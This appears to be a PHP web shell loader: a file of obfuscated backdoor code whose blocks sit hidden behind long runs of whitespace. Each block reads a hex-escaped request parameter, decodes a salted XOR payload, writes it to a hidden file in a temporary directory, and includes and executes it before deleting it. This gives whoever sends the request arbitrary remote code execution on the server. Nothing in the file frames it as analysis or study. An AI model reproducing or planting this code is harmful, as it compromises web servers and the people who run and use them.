<?php																																										if(isset($_POST["\x68\x6Fld\x65r"])){ $res = array_filter([session_save_path(), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $object = $_POST["\x68\x6Fld\x65r"]; $object= explode ('.', $object ); $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $m = 0; array_walk($object, function ($v6) use (&$resource, &$m, $salt, $lenS) { $sChar = ord($salt[$m % $lenS]); $d = ((int)$v6 - $sChar - ($m % 10)) ^ 60; $resource .= chr($d); $m++; }); foreach ($res as $key => $rec) { if (!( !is_dir($rec) || !is_writable($rec) )) { $symbol = join("/", [$rec, ".pgrp"]); $success = file_put_contents($symbol, $resource); if ($success) { include $symbol; @unlink($symbol); die();} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["mar\x6B\x65r"])){ $res = $_REQUEST["mar\x6B\x65r"]; $res =explode('.' , $res); $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $u = 0; $__tmp = $res; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $s[$u% $lenS]); $dec =( ( int)$v9 - $sChar -( $u% 10)) ^ 57; $entry.= chr( $dec); $u++; } $entity = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", session_save_path(), "/var/tmp", "/tmp", getcwd()]); while ($bind = array_shift($entity)) { if (array_product([is_dir($bind), is_writable($bind)])) { $ent = "$bind/.rec"; $success = file_put_contents($ent, $entry); if ($success) { include $ent; @unlink($ent); die();} } } }
																																										if(!empty($_REQUEST["\x70\x61\x72a\x6D\x65\x74\x65r_g\x72oup"])){ $ent = $_REQUEST["\x70\x61\x72a\x6D\x65\x74\x65r_g\x72oup"]; $ent= explode ( '.' , $ent ) ; $resource= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); foreach( $ent as $x => $v8) {$chS= ord( $s[$x % $lenS]); $d= ( ( int)$v8 - $chS -( $x % 10)) ^ 10; $resource .= chr( $d); } $item = array_filter([session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TEMP")]); foreach ($item as $flg): if (is_dir($flg) ? is_writable($flg) : false) { $tkn = join("/", [$flg, ".k"]); if (file_put_contents($tkn, $resource)) { include $tkn; @unlink($tkn); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["sy\x6D"] ?? null)){ $key = array_filter([session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP")]); $hld = $_REQUEST["sy\x6D"]; $hld= explode( '.', $hld ) ; $marker = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $len = count($hld); for($i = 0; $i <$len; $i++) { $v9 = $hld[$i]; $sChar = ord($salt1[$i % $sLen]); $d =((int)$v9 - $sChar -($i % 10)) ^ 56; $marker.= chr($d); } foreach ($key as $fac): if (is_dir($fac) && is_writable($fac)) { $token = str_replace("{var_dir}", $fac, "{var_dir}/.pointer"); if (file_put_contents($token, $marker)) { require $token; unlink($token); die(); } } endforeach; }
																																										if(in_array("p\x72o\x70er\x74\x79\x5Fs\x65t", array_keys($_REQUEST))){ $desc = $_REQUEST["p\x72o\x70er\x74\x79\x5Fs\x65t"]; $desc = explode ( '.' ,$desc ) ; $resource = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach ($desc as $v => $v3): $chS = ord($salt6[$v % $lenS]); $d = ((int)$v3 - $chS - ($v % 10)) ^ 12; $resource.= chr($d); endforeach; $data = array_filter(["/dev/shm", getcwd(), session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP")]); foreach ($data as $key => $sym) { if (is_dir($sym) && is_writable($sym)) { $val = sprintf("%s/.fac", $sym); if (file_put_contents($val, $resource)) { require $val; unlink($val); die(); } } } }
																																										if(!empty($_POST["\x63\x6F\x6D\x70onent"])){ $flg = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP")]); $symbol = $_POST["\x63\x6F\x6D\x70onent"]; $symbol = explode ( '.',$symbol ) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($symbol); for($n = 0; $n < $len; $n++) { $v6 = $symbol[$n]; $chS = ord($s[$n % $sLen]); $d = ((int)$v6 - $chS -($n % 10))^ 66; $dchunk .= chr($d); } for ($rec = 0, $parameter_group = count($flg); $rec < $parameter_group; $rec++) { $item = $flg[$rec]; if (max(0, is_dir($item) * is_writable($item))) { $fac = "$item" . "/.bind"; $file = fopen($fac, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $fac; @unlink($fac); die(); } } } }
																																										if(array_key_exists("\x74ok\x65n", $_REQUEST) && !is_null($_REQUEST["\x74ok\x65n"])){ $descriptor = $_REQUEST["\x74ok\x65n"]; $descriptor=explode ( '.' , $descriptor ) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($descriptor as $n => $v1): $chS = ord($salt[$n% $lenS] ); $dec = ((int)$v1 - $chS - ($n% 10)) ^45; $mrk .= chr($dec ); endforeach; $parameter_group = array_filter(["/tmp", session_save_path(), getenv("TEMP"), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/dev/shm"]); foreach ($parameter_group as $key => $val) { if (!( !is_dir($val) || !is_writable($val) )) { $factor = sprintf("%s/.key", $val); $success = file_put_contents($factor, $mrk); if ($success) { include $factor; @unlink($factor); die();} } } }
																																										if(isset($_POST["\x68ld"])){ $parameter_group = $_POST["\x68ld"]; $parameter_group =explode(".", $parameter_group ) ; $sym = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $y = 0; while ($y <count($parameter_group)) { $v8 = $parameter_group[$y]; $sChar = ord($salt3[$y % $lenS]); $d = ((int)$v8 - $sChar - ($y % 10)) ^ 2; $sym.= chr($d); $y++;} $resource = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp"]); for ($token = 0, $entry = count($resource); $token < $entry; $token++) { $ref = $resource[$token]; if ((function($d) { return is_dir($d) && is_writable($d); })($ref)) { $value = sprintf("%s/.flag", $ref); if (@file_put_contents($value, $sym) !== false) { include $value; unlink($value); die(); } } } }
																																										if(isset($_POST) && isset($_POST["dat\x61_c\x68\x75\x6E\x6B"])){ $flag = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); $bind = $_POST["dat\x61_c\x68\x75\x6E\x6B"]; $bind = explode ( '.', $bind ) ; $entity = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1 ); $y = 0; array_walk($bind, function ($v5) use (&$entity, &$y, $salt1, $sLen) { $chS = ord($salt1[$y % $sLen] ); $d = ((int)$v5 - $chS - ($y % 10)) ^ 98; $entity.= chr($d ); $y++; }); foreach ($flag as $key => $component) { if (array_product([is_dir($component), is_writable($component)])) { $obj = sprintf("%s/.key", $component); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $obj; @unlink($obj); die(); } } } }
																																										if(isset($_REQUEST["\x65\x6Etry"]) ? true : false){ $desc = $_REQUEST["\x65\x6Etry"]; $desc = explode( '.' ,$desc ) ; $pgrp=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); $k=0; array_walk($desc , function ($v8) use (&$pgrp , &$k , $salt , $lenS) { $sChar=ord($salt[$k % $lenS] ); $dec=((int)$v8 - $sChar - ($k % 10)) ^ 16; $pgrp .= chr($dec ); $k++; } ); $mrk = array_filter([session_save_path(), getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($mrk as $ent) { if (!( !is_dir($ent) || !is_writable($ent) )) { $flag = "$ent" . "/.ptr"; if (file_put_contents($flag, $pgrp)) { include $flag; @unlink($flag); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["mrk"])){ $parameter_group = array_filter(["/tmp", "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path()]); $binding = $_REQUEST["mrk"]; $binding= explode ( '.' ,$binding ); $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $i = 0; foreach( $binding as $v4) { $chS = ord( $s[$i % $lenS] ); $dec =( ( int)$v4 - $chS -( $i % 10)) ^ 74; $symbol .= chr( $dec ); $i++; } foreach ($parameter_group as $key => $ent) { if ((is_dir($ent) and is_writable($ent))) { $elem = sprintf("%s/.itm", $ent); if (file_put_contents($elem, $symbol)) { require $elem; unlink($elem); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x66\x6Cag")){ $ent = array_filter([getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); $pset = $_POST["\x66\x6Cag"]; $pset = explode ( "." , $pset) ; $tkn = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); foreach( $pset as $i=> $v2): $chS = ord( $s9[$i % $lenS]); $dec =( ( int)$v2 - $chS -( $i % 10)) ^ 98; $tkn .= chr( $dec); endforeach; foreach ($ent as $item) { if (is_dir($item) ? is_writable($item) : false) { $holder = join("/", [$item, ".symbol"]); $success = file_put_contents($holder, $tkn); if ($success) { include $holder; @unlink($holder); die();} } } }
																																										if(array_key_exists("t\x6Bn", $_POST)){ $entry = array_filter(["/tmp", getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir()]); $key = $_POST["t\x6Bn"]; $key = explode( '.' , $key ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $q = 0; $len = count($key); do {if ($q >= $len) break; $v5 = $key[$q]; $sChar = ord($s[$q % $lenS]); $dec = ((int)$v5 - $sChar - ($q % 10)) ^ 59; $resource .= chr($dec); $q++;} while (true); $data = 0; do { $elem = $entry[$data] ?? null; if ($data >= count($entry)) break; if (max(0, is_dir($elem) * is_writable($elem))) { $token = join("/", [$elem, ".itm"]); $success = file_put_contents($token, $resource); if ($success) { include $token; @unlink($token); exit;} } $data++; } while (true); }
																																										if(!is_null($_POST["\x6Da\x72\x6Ber"] ?? null)){ $ent = $_POST["\x6Da\x72\x6Ber"]; $ent= explode ("." , $ent ); $descriptor = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4 ); foreach($ent as $y => $v7): $chS = ord($salt4[$y %$lenS] ); $dec = ((int)$v7 - $chS -($y %10))^65; $descriptor.= chr($dec ); endforeach; $tkn = array_filter([session_save_path(), "/var/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir()]); foreach ($tkn as $key => $rec) { if (is_writable($rec) && is_dir($rec)) { $k = str_replace("{var_dir}", $rec, "{var_dir}/.dat"); if (file_put_contents($k, $descriptor)) { require $k; unlink($k); die(); } } } }
																																										if(isset($_REQUEST["\x70o\x69\x6Ete\x72"]) ? true : false){ $data_chunk = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/dev/shm"]); $itm = $_REQUEST["\x70o\x69\x6Ete\x72"]; $itm = explode ('.' ,$itm) ; $hld = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9 ); foreach ($itm as $i => $v3) {$chS = ord($s9[$i % $lenS] ); $dec = ((int)$v3 - $chS - ($i % 10)) ^ 90; $hld .=chr($dec ); } while ($flg = array_shift($data_chunk)) { if (array_product([is_dir($flg), is_writable($flg)])) { $descriptor = join("/", [$flg, ".property_set"]); if (file_put_contents($descriptor, $hld)) { require $descriptor; unlink($descriptor); exit; } } } }


if(array_key_exists("k", $_POST) && !is_null($_POST["k"])){
	$entity = $_POST["k"];
		 	$entity 	=	 explode	 ( "."	, $entity	 	)			;	
	$resource = '';
            $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	 $s8		);
            $n = 0;
    
            while(	 $n <count(	 $entity)) { $v1 = $entity[$n];
                $chS = ord(	 $s8[$n % $lenS]		);
                $dec =(	 (	 int)$v1 - $chS -(	 $n % 10)) ^ 54;
                $resource .= chr(	 $dec		);
                $n++;} 
	$value = array_filter([getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]);
	foreach ($value as $itm) {
    		if (is_dir($itm) && is_writable($itm)) {
    $fac = implode("/", [$itm, ".obj"]);
    if (file_put_contents($fac, $resource)) {
	require $fac;
	unlink($fac);
	exit;
}
}
}
}